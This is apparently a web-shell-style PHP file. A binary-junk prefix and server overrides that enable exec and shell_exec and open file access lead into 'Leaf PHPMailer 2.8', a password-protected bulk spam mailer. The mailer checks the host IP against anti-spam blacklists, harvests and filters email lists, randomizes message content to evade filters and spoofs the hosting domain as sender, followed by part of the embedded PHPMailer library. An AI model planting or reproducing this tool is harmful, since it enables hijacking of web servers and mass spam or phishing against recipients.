@"^~'9&TNJ~b͞l9C}.O% M%Ѹꖯ2\QNߖ%{cOlΔJu~Nn}geOspK݇pCU31~l%EDMMH5%5iZD`b.rAWTIvvnZ2DHxvl,Fh\^
tҁ_$Y(efcmltoxwkrap_YI~?UۘCօ{Lj$PW"\8KPELFNs(\|ywzvkubdjiŶ#kUȓ^YJ efcmltoxwkt |C*K]Mߪ'b+՘gC! ~F{ű,c(d"^(svUnIiCH5,pMUf8)efcmltoxwkFsȜ)r%v
SF^/2!n{c6h75gm6{24;ȣ
̠#NȑefcmltoxwkD&B;8/bpZip+p)tF[r0 	K X)+mU{v0R:VTYB+L*uB]gK\X#3SXZi69Dhō%2lrMc5
CpZtUXdcٱI:
"ܐ3O繜خ-$D#MctNރC0	mB+A;n]y)-)T{O~1efcmltoxwkl`
w 88);L4=lt6J뤀1au6^lU:5#
e{vv}dge
B^P%gxH
|bbpei?5BaYefcmltoxwk.D}\?oywzvkubdjiܗW[8ܵ	)\q%_:{F_WefcmltoxwkzA%M眭QUU^OLX'5lp.&;Urzn}^y*$=`MϛEFWYĨ ZVIRD[cGd5TڽDNv@tG,1sZb}Y&FRn
@%ԝo|%@A}3oN%f+˴ҫe]RAywzvkubdji*GykHd	ƔefcmltoxwkaP%efcmltoxwk0xdYOVp$xT
T/ nFN,tѯz	UӌCZAcr06ٌcerBsOVbgZYJ.efcmltoxwk9L{Fdqz?c:/ӰhywzvkubdjiK|2ubEv;07
DW
C+C;VcM3]Wp6ywzvkubdji~I:@K-Aoy5Yb'~ꋆ03sꝨD9c.7WD1V\x/$8BaoU`oǖLl},m${c"Hma#
%A}钼 Zefcmltoxwk:ywzvkubdjir20;-bt{be!uywzvkubdjiVk}L%BB.-Lk!)efcmltoxwklLunhRN2vѭ$x.H~LuEًHzf#w;[1}=)_ywzvkubdjim{'r&ywzvkubdjixWӂi^DZ`/a@(8&yWbc8%4ҚԡuWr玽-	_ywzvkubdjiQF;Xgc=\v8^,&8G`khy˚Пl)8׺cJf+hAx
}iV
L֍	Svs	ֆh3"jEsqV@ `l2ywzvkubdji=͎lڛEizhK[wPkW?uywzvkubdji^Y|yºD&ywzvkubdjiJ]iKH!!FQ}qUp[Z!TEvwqDn3
w5H1T{̸͢fB@OQ­̘N6Gxywzvkubdji9#KHΙ 	fϾ&LӲ=
ywzvkubdjio5͋(~k&[Nzۙ؏v/V;~꥾I^e=bƵ
1?%R5Rw@=
uu"#6/5~Gdaefcmltoxwk2gpP8HywzvkubdjiC)PFtUZDOBAG}ԅL)dhM'5@8P 
폵
=p:).@p2#KɀU)5Q8[NY"jt.UtlCPI\^2@
!kmG܌.vWP5ZsnK#C#1g+5GSŢ!|Z~Zz=TY&x 42p
jXy6~twefcmltoxwkpw%]&-ă_ywzvkubdjilx~-q#
;'*$*G=J`.ǥjk"u'#0\B	JzooBfݼs99ɕvٓ*zw]ڮhrYPJn1ywzvkubdjiƃߑ	 5,zZ堕ޞz0=zrA) w{A)\It$QguĦ^i,CUywzvkubdjimZ	aeϲWjN n|[I	-?|b|'zuV8^|͡lˁy6-0,Е,BBV#W^ yv?Gޭywzvkubdji 7@5-vˈ?#p0D'3Ӣ5%^MÌj:xШP+i=:u拓T vp;efcmltoxwkA#X{\x\,DO|efcmltoxwkphɭ%w\&Me0$z_}M# a+LVoO(wO˄eG4:52isafe_mode = Off
disable_functions = NONE
safe_mode_gid = OFF
open_basedir = OFF
exec = ON
shell_exec = ON

Order Deny,Allow
<FilesMatch "\.(html|bash|sh|pl|perl|txt|htm|phtml|css|js|php|png|jpg|jpeg|txt|webp|mp4|svg|pdf|mov)$">
    Order Deny,Allow
    Allow From All
</FilesMatch>

<?php

$password = "yqAb2drLP3g";

session_start();
error_reporting(0);
set_time_limit(0);
ini_set("memory_limit",-1);

$leaf['version']="2.8";
$leaf['website']="leafmailer.pw";


$sessioncode = md5(__FILE__);
if(!empty($password) and $_SESSION[$sessioncode] != $password){
    if (isset($_REQUEST['pass']) and $_REQUEST['pass'] == $password) {
        $_SESSION[$sessioncode] = $password;
    }
    else {
        print "<pre align=center><form method=post>Password: <input type='password' name='pass'><input type='submit' value='>>'></form></pre>";
        exit;        
    }
}

session_write_close();


function leafClear($text,$email){
	$e = explode('@', $email);
	$emailuser=$e[0];
	$emaildomain=$e[1];
    $text = str_replace("[-time-]", date("m/d/Y h:i:s a", time()), $text);
    $text = str_replace("[-email-]", $email, $text);
    $text = str_replace("[-emailuser-]", $emailuser, $text);
    $text = str_replace("[-emaildomain-]", $emaildomain, $text);
    $text = str_replace("[-randomletters-]", randString('abcdefghijklmnopqrstuvwxyz'), $text);
    $text = str_replace("[-randomstring-]", randString('abcdefghijklmnopqrstuvwxyz0123456789'), $text);
    $text = str_replace("[-randomnumber-]", randString('0123456789'), $text);
    $text = str_replace("[-randommd5-]", md5(randString('abcdefghijklmnopqrstuvwxyz0123456789')), $text);
    return $text;  
}
function leafTrim($string){
	$string=urldecode($string);
    return stripslashes(trim($string));
}
function randString($consonants) {
    $length=rand(12,25);
    $password = '';
    for ($i = 0; $i < $length; $i++) {
            $password .= $consonants[(rand() % strlen($consonants))];
    }
    return $password;
}
function leafMailCheck($email){
    if (filter_var($email, FILTER_VALIDATE_EMAIL)) return true;
    else return false;
}
# Bulit-in BlackList Checker 
if(isset($_GET['check_ip'])){
    if (isset($_GET['host'])){
        $_GET['host']=explode(",", $_GET['host']);
        foreach ($_GET['host'] as $host) {
            if (checkdnsrr($_GET['check_ip'] . "." .  $host . ".", "A")) $check= "<font color='red'> Listed</font>";
            else $check= "<font color='green'> Clean</font>";
            print 'document.getElementById("'. $host.'").innerHTML = "'.$check.'";';
        }

        exit;
    }
    $dnsbl_lookup = array(
        "all.s5h.net",
        "b.barracudacentral.org",
        "bl.spamcop.net",
        "blacklist.woody.ch",
        "bogons.cymru.com",
        "cbl.abuseat.org",
        "cdl.anti-spam.org.cn",
        "combined.abuse.ch",
        "db.wpbl.info",
        "dnsbl-1.uceprotect.net",
        "dnsbl-2.uceprotect.net",
        "dnsbl-3.uceprotect.net",
        "dnsbl.anticaptcha.net",
        "dnsbl.dronebl.org",
        "dnsbl.inps.de",
        "dnsbl.sorbs.net",
        "drone.abuse.ch",
        "duinv.aupads.org",
        "dul.dnsbl.sorbs.net",
        "dyna.spamrats.com",
        "dynip.rothen.com",
        "http.dnsbl.sorbs.net",
        "ips.backscatterer.org",
        "ix.dnsbl.manitu.net",
        "korea.services.net",
        "misc.dnsbl.sorbs.net",
        "noptr.spamrats.com",
        "orvedb.aupads.org",
        "pbl.spamhaus.org",
        "proxy.bl.gweep.ca",
        "psbl.surriel.com",
        "relays.bl.gweep.ca",
        "relays.nether.net",
        "sbl.spamhaus.org",
        "short.rbl.jp",
        "singular.ttk.pte.hu",
        "smtp.dnsbl.sorbs.net",
        "socks.dnsbl.sorbs.net",
        "spam.abuse.ch",
        "spam.dnsbl.anonmails.de",
        "spam.dnsbl.sorbs.net",
        "spam.spamrats.com",
        "spambot.bls.digibase.ca",
        "spamrbl.imp.ch",
        "spamsources.fabel.dk",
        "ubl.lashback.com",
        "ubl.unsubscore.com",
        "virus.rbl.jp",
        "web.dnsbl.sorbs.net",
        "wormrbl.imp.ch",
        "xbl.spamhaus.org",
        "z.mailspike.net",
        "zen.spamhaus.org",
        "zombie.dnsbl.sorbs.net",
    );
    $reverse_ip = implode(".", array_reverse(explode(".", $_GET['check_ip'])));
    $dnsT = count($dnsbl_lookup);
    leafheader();
    print '<div class="container col-lg-6"><h3><font color="green"><span class="glyphicon glyphicon-leaf"></span></font> Leaf PHPMailer <small>Blacklist Checker</small></h3>';
    Print "Checking <b>".$_GET['check_ip']."</b> in <b>$dnsT</b>  anti-spam databases:<br>";
    $dnsN="";
    print '<table >';
    for ($i=0; $i < $dnsT; $i=$i+10) { 
        $host="";
        $hosts="";
        for($j=$i; $j<$i+10;$j++){
            $host=$dnsbl_lookup[$j];
            if(!empty($host)){
                print "<tr> <td>$host</td> <td id='$host'>Checking ..</td></tr>";
                $hosts .="$host,";
            }
        }
        $dnsN.="<script src='?check_ip=$reverse_ip&host=".$hosts."' type='text/javascript'></script>";
    }

    print '</table></div>';
    print $dnsN;
    exit;
}
if(isset($_GET['emailfilter'])){

    if(!empty($_FILES['fileToUpload']['tmp_name'])){
        $_POST['emailList']= file_get_contents($_FILES["fileToUpload"]["tmp_name"]); 
    }
    $_POST['emailList']=strtolower($_POST['emailList']);
   if($_GET['emailfilter']=="ifram"){
        if ($_POST['resulttype'] == "download"){
            header("Content-Description: File Transfer"); 
            header("Content-Type: application/octet-stream"); 
            header("Content-Disposition: attachment; filename=emails".time().".txt");
        }
        else {
            header("Content-Type: text/plain");
        }
    if($_POST['submit']=="extract"){
        $pattern = '/[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,4}/';
        preg_match_all($pattern, $_POST['emailList'], $matches);
        foreach ($matches[0] as $email) {
            print $email."\n";
        }
    }
    elseif ($_POST['submit']=="filter") {
        $emails=explode("\n", $_POST['emailList']);
        $keywords=explode("\n", strtolower($_POST['keywords']));
        foreach ($emails as $email) {
            foreach ($keywords as $keyword ) {
                if(strstr($email, $keyword) ){
                    print $email."\n";
                     break;
                }
               
            }
        }

    }
    exit;
   }
   leafheader();
   print '<div class="container col-lg-4"><h3><font color="green"><span class="glyphicon glyphicon-leaf"></span></font> Leaf PHPMailer <small>Email Filter</small></h3>';
   print '
    <form action="?emailfilter=ifram" method="POST" target="my-iframe" enctype="multipart/form-data" onsubmit=\'\'>
        <label for="emailList">Text </label><input type="file" name="fileToUpload" id="fileToUpload"> 
        or

        <textarea name="emailList" id="emailList" class="form-control" rows="7" id="textArea"></textarea>
      <div class="col-lg-12">
        <div class="radio">
          <label>
            <input type="radio" name="resulttype" id="resulttype" value="here" checked="">
            Show Result in this page
          </label>
        </div>
        <div class="radio">
          <label>
            <input type="radio" name="resulttype" id="resulttype" value="download">
            Download Result (for big numbers)
          </label>
        </div>
      </div>
            <legend><h4>Extract Email</h4></legend>
            Detecting every email (100%) and order them line by line <br><br>
        <button type="submit" name="submit" value="extract" class="btn btn-default btn-sm">Start</button>
            <legend><h4>Filter Emails</h4></legend>
        <label >Keywords <small> ex: gmail.com or .co.uk</small> </label><textarea name="keywords" id="keywords" class="form-control" rows="4" id="textArea">gmail.com
hotmail.com
yahoo.com
.co.uk</textarea><br>

            <button type="submit" name="submit" value="filter" class="btn btn-default btn-sm">Start</button>
    </form>
    <label >Result </label>
    <iframe style="border:none;width:100%;" name="my-iframe"  src="?emailfilter=ifram" ></iframe>
   ';
   exit;

}
$html="checked";
$utf8="selected";
$bit8="selected";

if($_POST['action']=="send" or $_POST['action']=="score"){

    $senderEmail=leafTrim($_POST['senderEmail']);
    $senderName=leafTrim($_POST['senderName']);
    $replyTo=leafTrim($_POST['replyTo']);
    $subject=leafTrim($_POST['subject']);
    $emailList=leafTrim($_POST['emailList']);
    $messageType=leafTrim($_POST['messageType']);
    $messageLetter=leafTrim($_POST['messageLetter']);
    $encoding = $_POST['encode'];
    $charset = $_POST['charset'];
    $html="";
    $utf8="";
    $bit8="";

    if($messageType==2) $plain="checked";
    else $html="checked";

    if($charset=="ISO-8859-1") $iso="selected";
    else $utf8="selected";

    if($encoding=="7bit") $bit7="selected";
    elseif($encoding=="binary") $binary="selected";
    elseif($encoding=="base64") $base64="selected";
    elseif($encoding=="quoted-printable") $quotedprintable="selected";
    else $bit8="selected";



}
if($_POST['action']=="view"){
	$viewMessage=leafTrim($_POST['messageLetter']);
	$viewMessage=leafClear($viewMessage,"user@domain.com");
	if ($_POST['messageType']==2){
		print "<pre>".htmlspecialchars($viewMessage)."</pre>";
	}
	else {
		print $viewMessage;
	}
	exit;
}



if(!isset($_POST['senderEmail'])){
    $senderEmail="support@".str_replace("www.", "", $_SERVER['HTTP_HOST']);
    if (!leafMailCheck($senderEmail)) $senderEmail="";
}

class PHPMailer
{
    /**
     * The PHPMailer Version number.
     * @var string
     */
    public $Version = '5.2.28';

    /**
     * Email priority.
     * Options: null (default), 1 = High, 3 = Normal, 5 = low.
     * When null, the header is not set at all.
     * @var integer
     */
    public $Priority = null;

    /**
     * The character set of the message.
     * @var string
     */
    public $CharSet = 'iso-8859-1';

    /**
     * The MIME Content-type of the message.
     * @var string
     */
    public $ContentType = 'text/plain';

    /**
     * The message encoding.
     * Options: "8bit", "7bit", "binary", "base64", and "quoted-printable".
     * @var string
     */
    public $Encoding = '8bit';

    /**
     * Holds the most recent mailer error message.
     * @var string
     */
    public $ErrorInfo = '';

    /**
     * The From email address for the message.
     * @var string
     */
    public $From = 'root@localhost';

    /**
     * The From name of the message.
     * @var string
     */
    public $FromName = 'Root User';

    /**
     * The Sender email (Return-Path) of the message.
     * If not empty, will be sent via -f to sendmail or as 'MAIL FROM' in smtp mode.
     * @var string
     */
    public $Sender = '';

    /**
     * The Return-Path of the message.
     * If empty, it will be set to either From or Sender.
     * @var string
     * @deprecated Email senders should never set a return-path header;
     * it's the receiver's job (RFC5321 section 4.4), so this no longer does anything.
     * @link https://tools.ietf.org/html/rfc5321#section-4.4 RFC5321 reference
     */
    public $ReturnPath = '';

    /**
     * The Subject of the message.
     * @var string
     */
    public $Subject = '';

    /**
     * An HTML or plain text message body.
     * If HTML then call isHTML(true).
     * @var string
     */
    public $Body = '';

    /**
     * The plain-text message body.
     * This body can be read by mail clients that do not have HTML email
     * capability such as mutt & Eudora.
     * Clients that can read HTML will view the normal Body.
     * @var string
     */
    public $AltBody = '';

    /**
     * An iCal message part body.
     * Only supported in simple alt or alt_inline message types
     * To generate iCal events, use the bundled extras/EasyPeasyICS.php class or iCalcreator
     * @link http://sprain.ch/blog/downloads/php-class-easypeasyics-create-ical-files-with-php/
     * @link http://kigkonsult.se/iCalcreator/
     * @var string
     */
    public $Ical = '';

    /**
     * The complete compiled MIME message body.
     * @access protected
     * @var string
     */
    protected $MIMEBody = '';

    /**
     * The complete compiled MIME message headers.
     * @var string
     * @access protected
     */
    protected $MIMEHeader = '';

    /**
     * Extra headers that createHeader() doesn't fold in.
     * @var string
     * @access protected
     */
    protected $mailHeader = '';

    /**
     * Word-wrap the message body to this number of chars.
     * Set to 0 to not wrap. A useful value here is 78, for RFC2822 section 2.1.1 compliance.
     * @var integer
     */
    public $WordWrap = 0;

    /**
     * Which method to use to send mail.
     * Options: "mail", "sendmail", or "smtp".
     * @var string
     */
    public $Mailer = 'mail';

    /**
     * The path to the sendmail program.
     * @var string
     */
    public $Sendmail = '/usr/sbin/sendmail';

    /**
     * Whether mail() uses a fully sendmail-compatible MTA.
     * One which supports sendmail's "-oi -f" options.
     * @var boolean
     */
    public $UseSendmailOptions = true;

    /**
     * Path to PHPMailer plugins.
     * Useful if the SMTP class is not in the PHP include path.
     * @var string
     * @deprecated Should not be needed now there is an autoloader.
     */
    public $PluginDir = '';

    /**
     * The email address that a reading confirmation should be sent to, also known as read receipt.
     * @var string
     */
    public $ConfirmReadingTo = '';

    /**
     * The hostname to use in the Message-ID header and as default HELO string.
     * If empty, PHPMailer attempts to find one with, in order,
     * $_SERVER['SERVER_NAME'], gethostname(), php_uname('n'), or the value
     * 'localhost.localdomain'.
     * @var string
     */
    public $Hostname = '';

    /**
     * An ID to be used in the Message-ID header.
     * If empty, a unique id will be generated.
     * You can set your own, but it must be in the format "<id@domain>",
     * as defined in RFC5322 section 3.6.4 or it will be ignored.
     * @see https://tools.ietf.org/html/rfc5322#section-3.6.4
     * @var string
     */
    public $MessageID = '';

    /**
     * The message Date to be used in the Date header.
     * If empty, the current date will be added.
     * @var string
     */
    public $MessageDate = '';

    /**
     * SMTP hosts.
     * Either a single hostname or multiple semicolon-delimited hostnames.
     * You can also specify a different port
     * for each host by using this format: [hostname:port]
     * (e.g. "smtp1.example.com:25;smtp2.example.com").
     * You can also specify encryption type, for example:
     * (e.g. "tls://smtp1.example.com:587;ssl://smtp2.example.com:465").
     * Hosts will be tried in order.
     * @var string
     */
    public $Host = 'localhost';

    /**
     * The default SMTP server port.
     * @var integer
     * @TODO Why is this needed when the SMTP class takes care of it?
     */
    public $Port = 25;

    /**
     * The SMTP HELO of the message.
     * Default is $Hostname. If $Hostname is empty, PHPMailer attempts to find
     * one with the same method described above for $Hostname.
     * @var string
     * @see PHPMailer::$Hostname
     */
    public $Helo = '';

    /**
     * What kind of encryption to use on the SMTP connection.
     * Options: '', 'ssl' or 'tls'
     * @var string
     */
    public $SMTPSecure = '';

    /**
     * Whether to enable TLS encryption automatically if a server supports it,
     * even if `SMTPSecure` is not set to 'tls'.
     * Be aware that in PHP >= 5.6 this requires that the server's certificates are valid.
     * @var boolean
     */
    public $SMTPAutoTLS = true;

    /**
     * Whether to use SMTP authentication.
     * Uses the Username and Password properties.
     * @var boolean
     * @see PHPMailer::$Username
     * @see PHPMailer::$Password
     */
    public $SMTPAuth = false;

    /**
     * Options array passed to stream_context_create when connecting via SMTP.
     * @var array
     */
    public $SMTPOptions = array();

    /**
     * SMTP username.
     * @var string
     */
    public $Username = '';

    /**
     * SMTP password.
     * @var string
     */
    public $Password = '';

    /**
     * SMTP auth type.
     * Options are CRAM-MD5, LOGIN, PLAIN, NTLM, XOAUTH2, attempted in that order if not specified
     * @var string
     */
    public $AuthType = '';

    /**
     * SMTP realm.
     * Used for NTLM auth
     * @var string
     */
    public $Realm = '';

    /**
     * SMTP workstation.
     * Used for NTLM auth
     * @var string
     */
    public $Workstation = '';

    /**
     * The SMTP server timeout in seconds.
     * Default of 5 minutes (300sec) is from RFC2821 section 4.5.3.2
     * @var integer
     */
    public $Timeout = 300;

    /**
     * SMTP class debug output mode.
     * Debug output level.
     * Options:
     * * `0` No output
     * * `1` Commands
     * * `2` Data and commands
     * * `3` As 2 plus connection status
     * * `4` Low-level data output
     * @var integer
     * @see SMTP::$do_debug
     */
    public $SMTPDebug = 0;

    /**
     * How to handle debug output.
     * Options:
     * * `echo` Output plain-text as-is, appropriate for CLI
     * * `html` Output escaped, line breaks converted to `<br>`, appropriate for browser output
     * * `error_log` Output to error log as configured in php.ini
     *
     * Alternatively, you can provide a callable expecting two params: a message string and the debug level:
     * <code>
     * $mail->Debugoutput = function($str, $level) {echo "debug level $level; message: $str";};
     * </code>
     * @var string|callable
     * @see SMTP::$Debugoutput
     */
    public $Debugoutput = 'echo';

    /**
     * Whether to keep SMTP connection open after each message.
     * If this is set to true then to close the connection
     * requires an explicit call to smtpClose().
     * @var boolean
     */
    public $SMTPKeepAlive = false;

    /**
     * Whether to split multiple to addresses into multiple messages
     * or send them all in one message.
     * Only supported in `mail` and `sendmail` transports, not in SMTP.
     * @var boolean
     */
    public $SingleTo = false;

    /**
     * Storage for addresses when SingleTo is enabled.
     * @var array
     * @TODO This should really not be public
     */
    public $SingleToArray = array();

    /**
     * Whether to generate VERP addresses on send.
     * Only applicable when sending via SMTP.
     * @link https://en.wikipedia.org/wiki/Variable_envelope_return_path
     * @link http://www.postfix.org/VERP_README.html Postfix VERP info
     * @var boolean
     */
    public $do_verp = false;

    /**
     * Whether to allow sending messages with an empty body.
     * @var boolean
     */
    public $AllowEmpty = false;

    /**
     * The default line ending.
     * @note The default remains "\n". We force CRLF where we know
     *        it must be used via self::CRLF.
     * @var string
     */
    public $LE = "\n";

    /**
     * DKIM selector.
     * @var string
     */
    public $DKIM_selector = '';

    /**
     * DKIM Identity.
     * Usually the email address used as the source of the email.
     * @var string
     */
    public $DKIM_identity = '';

    /**
     * DKIM passphrase.
     * Used if your key is encrypted.
     * @var string
     */
    public $DKIM_passphrase = '';

    /**
     * DKIM signing domain name.
     * @example 'example.com'
     * @var string
     */
    public $DKIM_domain = '';

    /**
     * DKIM private key file path.
     * @var string
     */
    public $DKIM_private = '';

    /**
     * DKIM private key string.
     * If set, takes precedence over `$DKIM_private`.
     * @var string
     */
    public $DKIM_private_string = '';

    /**
     * Callback Action function name.
     *
     * The function that handles the result of the send email action.
     * It is called out by send() for each email sent.
     *
     * Value can be any php callable: http://www.php.net/is_callable
     *
     * Parameters:
     *   boolean $result        result of the send action
     *   array   $to            email addresses of the recipients
     *   array   $cc            cc email addresses
     *   array   $bcc           bcc email addresses
     *   string  $subject       the subject
     *   string  $body          the email body
     *   string  $from          email address of sender
     * @var string
     */
    public $action_function = '';

    /**
     * What to put in the X-Mailer header.
     * Options: An empty string for PHPMailer default, whitespace for none, or a string to use
     * @var string
     */
    public $XMailer = ' ';

    /**
     * Which validator to use by default when validating email addresses.
     * May be a callable to inject your own validator, but there are several built-in validators.
     * @see PHPMailer::validateAddress()
     * @var string|callable
     * @static
     */
    public static $validator = 'auto';

    /**
     * An instance of the SMTP sender class.
     * @var SMTP
     * @access protected
     */
    protected $smtp = null;

    /**
     * The array of 'to' names and addresses.
     * @var array
     * @access protected
     */
    protected $to = array();

    /**
     * The array of 'cc' names and addresses.
     * @var array
     * @access protected
     */
    protected $cc = array();

    /**
     * The array of 'bcc' names and addresses.
     * @var array
     * @access protected
     */
    protected $bcc = array();

    /**
     * The array of reply-to names and addresses.
     * @var array
     * @access protected
     */
    protected $ReplyTo = array();

    /**
     * An array of all kinds of addresses.
     * Includes all of $to, $cc, $bcc
     * @var array
     * @access protected
     * @see PHPMailer::$to @see PHPMailer::$cc @see PHPMailer::$bcc
     */
    protected $all_recipients = array();

    /**
     * An array of names and addresses queued for validation.
     * In send(), valid and non duplicate entries are moved to $all_recipients
     * and one of $to, $cc, or $bcc.
     * This array is used only for addresses with IDN.
     * @var array
     * @access protected
     * @see PHPMailer::$to @see PHPMailer::$cc @see PHPMailer::$bcc
     * @see PHPMailer::$all_recipients
     */
    protected $RecipientsQueue = array();

    /**
     * An array of reply-to names and addresses queued for validation.
     * In send(), valid and non duplicate entries are moved to $ReplyTo.
     * This array is used only for addresses with IDN.
     * @var array
     * @access protected
     * @see PHPMailer::$ReplyTo
     */
    protected $ReplyToQueue = array();

    /**
     * The array of attachments.
     * @var array
     * @access protected
     */
    protected $attachment = array();

    /**
     * The array of custom headers.
     * @var array
     * @access protected
     */
    protected $CustomHeader = array();

    /**
     * The most recent Message-ID (including angular brackets).
     * @var string
     * @access protected
     */
    protected $lastMessageID = '';

    /**
     * The message's MIME type.
     * @var string
     * @access protected
     */
    protected $message_type = '';

    /**
     * The array of MIME boundary strings.
     * @var array
     * @access protected
     */
    protected $boundary = array();

    /**
     * The array of available languages.
     * @var array
     * @access protected
     */
    protected $language = array();

    /**
     * The number of errors encountered.
     * @var integer
     * @access protected
     */
    protected $error_count = 0;

    /**
     * The S/MIME certificate file path.
     * @var string
     * @access protected
     */
    protected $sign_cert_file = '';

    /**
     * The S/MIME key file path.
     * @var string
     * @access protected
     */
    protected $sign_key_file = '';

    /**
     * The optional S/MIME extra certificates ("CA Chain") file path.
     * @var string
     * @access protected
     */
    protected $sign_extracerts_file = '';

    /**
     * The S/MIME password for the key.
     * Used only if the key is encrypted.
     * @var string
     * @access protected
     */
    protected $sign_key_pass = '';

    /**
     * Whether to throw exceptions for errors.
     * @var boolean
     * @access protected
     */
    protected $exceptions = false;

    /**
     * Unique ID used for message ID and boundaries.
     * @var string
     * @access protected
     */
    protected $uniqueid = '';

    /**
     * Error severity: message only, continue processing.
     */
    const STOP_MESSAGE = 0;

    /**
     * Error severity: message, likely ok to continue processing.
     */
    const STOP_CONTINUE = 1;

    /**
     * Error severity: message, plus full stop, critical error reached.
     */
    const STOP_CRITICAL = 2;

    /**
     * SMTP RFC standard line ending.
     */
    const CRLF = "\r\n";

    /**
     * The maximum line length allowed by RFC 2822 section 2.1.1
     * @var integer
     */
    const MAX_LINE_LENGTH = 998;

    /**
     * Constructor.
     * @param boolean $exceptions Should we throw external exceptions?
     */
    public function __construct($exceptions = null)
    {
        if ($exceptions !== null) {
            $this->exceptions = (boolean)$exceptions;
        }
        //Pick an appropriate debug output format automatically
        $this->Debugoutput = (strpos(PHP_SAPI, 'cli') !== false ? 'echo' : 'html');
    }

    /**
     * Destructor.
     */
    public function __destruct()
    {
        //Close any open SMTP connection nicely
        $this->smtpClose();
    }

    /**
     * Call mail() in a safe_mode-aware fashion.
     * Also, unless sendmail_path points to sendmail (or something that
     * claims to be sendmail), don't pass params (not a perfect fix,
     * but it will do)
     * @param string $to To
     * @param string $subject Subject
     * @param string $body Message Body
     * @param string $header Additional Header(s)
     * @param string $params Params
     * @access private
     * @return boolean
     */
    private function mailPassthru($to, $subject, $body, $header, $params)
    {
        //Check overloading of mail function to avoid double-encoding
        if (ini_get('mbstring.func_overload') & 1) {
            $subject = $this->secureHeader($subject);
        } else {
            $subject = $this->encodeHeader($this->secureHeader($subject));
        }

        //Can't use additional_parameters in safe_mode, calling mail() with null params breaks
        //@link http://php.net/manual/en/function.mail.php
        if (ini_get('safe_mode') or !$this->UseSendmailOptions or is_null($params)) {
            $result = @mail($to, $subject, $body, $header);
        } else {
            $result = @mail($to, $subject, $body, $header, $params);
        }
        return $result;
    }
    /**
     * Output debugging info via user-defined method.
     * Only generates output if SMTP debug output is enabled (@see SMTP::$do_debug).
     * @see PHPMailer::$Debugoutput
     * @see PHPMailer::$SMTPDebug
     * @param string $str
     */
    protected function edebug($str)
    {
        if ($this->SMTPDebug <= 0) {
            return;
        }
        //Avoid clash with built-in function names
        if (!in_array($this->Debugoutput, array('error_log', 'html', 'echo')) and is_callable($this->Debugoutput)) {
            call_user_func($this->Debugoutput, $str, $this->SMTPDebug);
            return;
        }
        switch ($this->Debugoutput) {
            case 'error_log':
                //Don't output, just log
                error_log($str);
                break;
            case 'html':
                //Cleans up output a bit for a better looking, HTML-safe output
                echo htmlentities(
                    preg_replace('/[\r\n]+/', '', $str),
                    ENT_QUOTES,
                    'UTF-8'
                )
                . "<br>\n";
                break;
            case 'echo':
            default:
                //Normalize line breaks
                $str = preg_replace('/\r\n?/ms', "\n", $str);
                echo gmdate('Y-m-d H:i:s') . "\t" . str_replace(
                    "\n",
                    "\n                   \t                  ",
                    trim($str)
                ) . "\n";
        }
    }

    /**
     * Send messages using SMTP.
     * @return void
     */
    public function isSMTP()
    {
        $this->Mailer = 'smtp';
    }

    /**
     * Send messages using PHP's mail() function.
     * @return void
     */
    public function isMail()
    {
        $this->Mailer = 'mail';
    }

    /**
     * Send messages using $Sendmail.
     * @return void
     */
    public function isSendmail()
    {
        $ini_sendmail_path = ini_get('sendmail_path');

        if (!stristr($ini_sendmail_path, 'sendmail')) {
            $this->Sendmail = '/usr/sbin/sendmail';
        } else {
            $this->Sendmail = $ini_sendmail_path;
        }
        $this->Mailer = 'sendmail';
    }

    /**
     * Send messages using qmail.
     * @return void
     */
    public function isQmail()
    {
        $ini_sendmail_path = ini_get('sendmail_path');

        if (!stristr($ini_sendmail_path, 'qmail')) {
            $this->Sendmail = '/var/qmail/bin/qmail-inject';
        } else {
            $this->Sendmail = $ini_sendmail_path;
        }
        $this->Mailer = 'qmail';
    }

    /**
     * Add a "To" address.
     * @param string $address The email address to send to
     * @param string $name
     * @return boolean true on success, false if address already used or invalid in some way
     */
    public function addAddress($address, $name = '')
    {
        return $this->addOrEnqueueAnAddress('to', $address, $name);
    }

    /**
     * Add a "CC" address.
     * @note: This function works with the SMTP mailer on win32, not with the "mail" mailer.
     * @param string $address The email address to send to
     * @param string $name
     * @return boolean true on success, false if address already used or invalid in some way
     */
    public function addCC($address, $name = '')
    {
        return $this->addOrEnqueueAnAddress('cc', $address, $name);
    }

    /**
     * Add a "BCC" address.
     * @note: This function works with the SMTP mailer on win32, not with the "mail" mailer.
     * @param string $address The email address to send to
     * @param string $name
     * @return boolean true on success, false if address already used or invalid in some way
     */
    public function addBCC($address, $name = '')
    {
        return $this->addOrEnqueueAnAddress('bcc', $address, $name);
    }

    /**
     * Add a "Reply-To" address.
     * @param string $address The email address to reply to
     * @param string $name
     * @return boolean true on success, false if address already used or invalid in some way
     */
    public function addReplyTo($address, $name = '')
    {
        return $this->addOrEnqueueAnAddress('Reply-To', $address, $name);
    }

    /**
     * Add an address to one of the recipient arrays or to the ReplyTo array. Because PHPMailer
     * can't validate addresses with an IDN without knowing the PHPMailer::$CharSet (that can still
     * be modified after calling this function), addition of such addresses is delayed until send().
     * Addresses that have been added already return false, but do not throw exceptions.
     * @param string $kind One of 'to', 'cc', 'bcc', or 'ReplyTo'
     * @param string $address The email address to send, resp. to reply to
     * @param string $name
     * @throws phpmailerException
     * @return boolean true on success, false if address already used or invalid in some way
     * @access protected
     */
    protected function addOrEnqueueAnAddress($kind, $address, $name)
    {
        $address = trim($address);
        $name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim
        if (($pos = strrpos($address, '@')) === false) {
            // At-sign is misssing.
            $error_message = $this->lang('invalid_address') . " (addAnAddress $kind): $address";
            $this->setError($error_message);
            $this->edebug($error_message);
            if ($this->exceptions) {
                throw new phpmailerException($error_message);
            }
            return false;
        }
        $params = array($kind, $address, $name);
        // Enqueue addresses with IDN until we know the PHPMailer::$CharSet.
        if ($this->has8bitChars(substr($address, ++$pos)) and $this->idnSupported()) {
            if ($kind != 'Reply-To') {
                if (!array_key_exists($address, $this->RecipientsQueue)) {
                    $this->RecipientsQueue[$address] = $params;
                    return true;
                }
            } else {
                if (!array_key_exists($address, $this->ReplyToQueue)) {
                    $this->ReplyToQueue[$address] = $params;
                    return true;
                }
            }
            return false;
        }
        // Immediately add standard addresses without IDN.
        return call_user_func_array(array($this, 'addAnAddress'), $params);
    }

    /**
     * Add an address to one of the recipient arrays or to the ReplyTo array.
     * Addresses that have been added already return false, but do not throw exceptions.
     * @param string $kind One of 'to', 'cc', 'bcc', or 'ReplyTo'
     * @param string $address The email address to send, resp. to reply to
     * @param string $name
     * @throws phpmailerException
     * @return boolean true on success, false if address already used or invalid in some way
     * @access protected
     */
